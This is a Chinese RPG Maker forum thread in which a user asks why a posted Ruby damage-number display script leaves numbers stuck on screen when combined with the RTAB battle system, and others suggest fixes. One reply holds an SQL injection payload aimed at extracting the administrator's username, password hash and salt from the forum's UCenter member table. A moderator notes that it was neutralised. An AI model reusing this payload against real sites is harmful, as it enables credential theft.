设为首页收藏本站|繁體中文

Project1

 找回密码
 注册会员
搜索
查看: 1665|回复: 7
打印 上一主题 下一主题

[已经解决] 伤害数字美化脚本与RTAB冲突,数字去不掉

[复制链接]

Lv1.梦旅人

梦石
0
星屑
55
在线时间
57 小时
注册时间
2011-9-24
帖子
37
跳转到指定楼层
1
发表于 2012-7-20 19:36:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我用了我爱龙的RTAB战斗脚本……

然后我觉得不需要RTAB的伤害美化,感觉太复杂了,我就用了这个
#==============================================================================
# 本脚本来自www.66RPG.com,使用和转载请保留此信息
#==============================================================================


# ============================================================================
# 伤害效果美化 v1.0 by SailCat
# ============================================================================

# 脚本使用说明:

# 1.使用时需要将Damage.png复制到你的游戏的Graphics/Pictures目录下

# 2.Damage.png文件的格式:

# 大小为180 x 96

# (0, 0) - (179, 31)为伤害值的数字表,其中每个数字宽18,高32

# (0, 32) - (179, 63)为回复值(伤害负值)的数字表,其中每个数字宽18,高32

# (0, 64) - (89, 95)为会心一击标记的图画,长宽为90 x 32

# (90, 64) - (179, 95)为未命中标记的图画,长宽为90 x 32

# ============================================================================

module RPG

class Sprite < ::Sprite
#--------------------------------------------------------------------------
# ● 伤害值描画
#--------------------------------------------------------------------------
def damage(value, critical, sp_damage = false)

# 释放伤害
dispose_damage
# 如果伤害值是数值
if value.is_a?(Numeric)
# 绝对值转为字符串
damage_string = value.abs.to_s
else
# 转为字符串
damage_string = value.to_s
end
# 初始化位图
bitmap = Bitmap.new(162, 64)
bitmap.font.name = "Arial Black"
bitmap.font.size = 32
# 伤害值是数值的情况下
if value.is_a?(Numeric)
# 分割伤害值字符串
damage_array = damage_string.scan(/./)
damage_x = 81 - damage_string.size * 9
# 伤害值为负的情况下
if value < 0
# 调用回复数字表
rect_y = 32
else
# 调用伤害数字表
rect_y = 0
end
# 循环伤害值字符串

for char in damage_array
number = char.to_i
# 显示伤害数字
if sp_damage
bitmap.blt(damage_x, 32, RPG::Cache.picture("Damagesp"),
Rect.new(number * 18, rect_y, 18, 32))
damage_x += 18
else
bitmap.blt(damage_x, 32, RPG::Cache.picture("Damage"),
Rect.new(number * 18, rect_y, 18, 32))
damage_x += 18
end
end
# 伤害值不是数值的情况
else
# Miss 的情况下
if value == "Miss"
# 显示未击中图画
bitmap.blt(36, 28, RPG::Cache.picture("Damage"), Rect.new(90, 64, 90, 32))
end
# 免疫的情况下
if value == "Nothing"
# 显示未击中图画
bitmap.blt(36, 28, RPG::Cache.picture("Damage"), Rect.new(0, 96, 90, 32))
end
# 反射的情况下
if value == "Mirro return"
# 显示未击中图画
bitmap.blt(36, 28, RPG::Cache.picture("Damage"), Rect.new(90, 96, 90, 32))
end
end
# 会心一击标志打开的情况
if critical
# 显示会心一击图画
bitmap.blt(36, 0, RPG::Cache.picture("Damage"), Rect.new(0, 64, 90, 32))
end
# 伤害值定位
@_damage_sprite = ::Sprite.new(self.viewport)
@_damage_sprite.bitmap = bitmap
@_damage_sprite.ox = 81
@_damage_sprite.oy = 20
@_damage_sprite.x = self.x
@_damage_sprite.y = self.y - self.oy / 2
@_damage_sprite.z = 3000
@_damage_duration = 40
end
end
end

#==============================================================================
# 本脚本来自www.66RPG.com,使用和转载请保留此信息
#==============================================================================
但是之后战斗测试,角色攻击了敌人后所显示的伤害数字不动了,就直接贴住了

请问怎么解决这个问题?我不懂脚本……

Lv1.梦旅人

梦石
0
星屑
110
在线时间
1 小时
注册时间
2012-7-1
帖子
2
2
发表于 2012-7-20 20:43:52 | 只看该作者
a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment='

点评

= =请不要尝试注入6R论坛数据库……特殊字符已被ZH童鞋和谐  发表于 2012-7-24 10:07
召唤斑竹~~~~  发表于 2012-7-21 12:41
回复

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
217
在线时间
828 小时
注册时间
2010-6-22
帖子
120

开拓者

3
发表于 2012-7-21 19:54:15 | 只看该作者
dispose_damage 這函式跑哪去了?樓主似乎沒有給出完整腳本

点评

不....沒事,我自己腦殘。dispose_damage 是 ::Sprite 內建函式 |||  发表于 2012-7-21 19:56
回复

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
55
在线时间
57 小时
注册时间
2011-9-24
帖子
37
4
 楼主| 发表于 2012-7-23 13:45:20 | 只看该作者
f26401004 发表于 2012-7-21 19:54
dispose_damage 這函式跑哪去了?樓主似乎沒有給出完整腳本

得怎么改啊
回复

使用道具 举报

Lv3.寻梦者

昨日的黄昏

梦石
0
星屑
1005
在线时间
937 小时
注册时间
2006-11-5
帖子
4128

第2届短篇游戏比赛季军第3届短篇游戏大赛小游戏及其他组季军

5
发表于 2012-7-24 10:13:45 | 只看该作者
伤害的隐藏原理是 self.damage = nil
楼主可以全局搜索一下这个东西

或者可以看看是哪里重定义了Game_Battler 而没有self.damage = nil
[url=http://weibo.com/2238291690?s=6uyXnP]
回复

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
55
在线时间
57 小时
注册时间
2011-9-24
帖子
37
6
 楼主| 发表于 2012-8-2 09:49:53 | 只看该作者
七夕小雨 发表于 2012-7-24 10:13
伤害的隐藏原理是 self.damage = nil
楼主可以全局搜索一下这个东西

找到了两个……但是都是Game_Battler里的……
回复

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
47
在线时间
976 小时
注册时间
2011-4-30
帖子
860
7
发表于 2012-8-2 12:28:39 | 只看该作者
rtab里自带一个字体美化的脚本的吧,你下载个rtab1.17版仔细找找?
湿滑落式骑!
回复

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
75
在线时间
435 小时
注册时间
2012-7-31
帖子
796
8
发表于 2012-8-2 13:20:50 | 只看该作者
本帖最后由 原野清平 于 2012-8-2 13:32 编辑

小雨酱的方法好奇怪……
target.damage_pop 不行吗?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

拿上你的纸笔,建造一个属于你的梦想世界,加入吧。
 注册会员
找回密码

站长信箱:[email protected]|手机版|小黑屋|无图版|Project1游戏制作

GMT+8, 2024-11-13 20:44

Powered by Discuz! X3.1

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表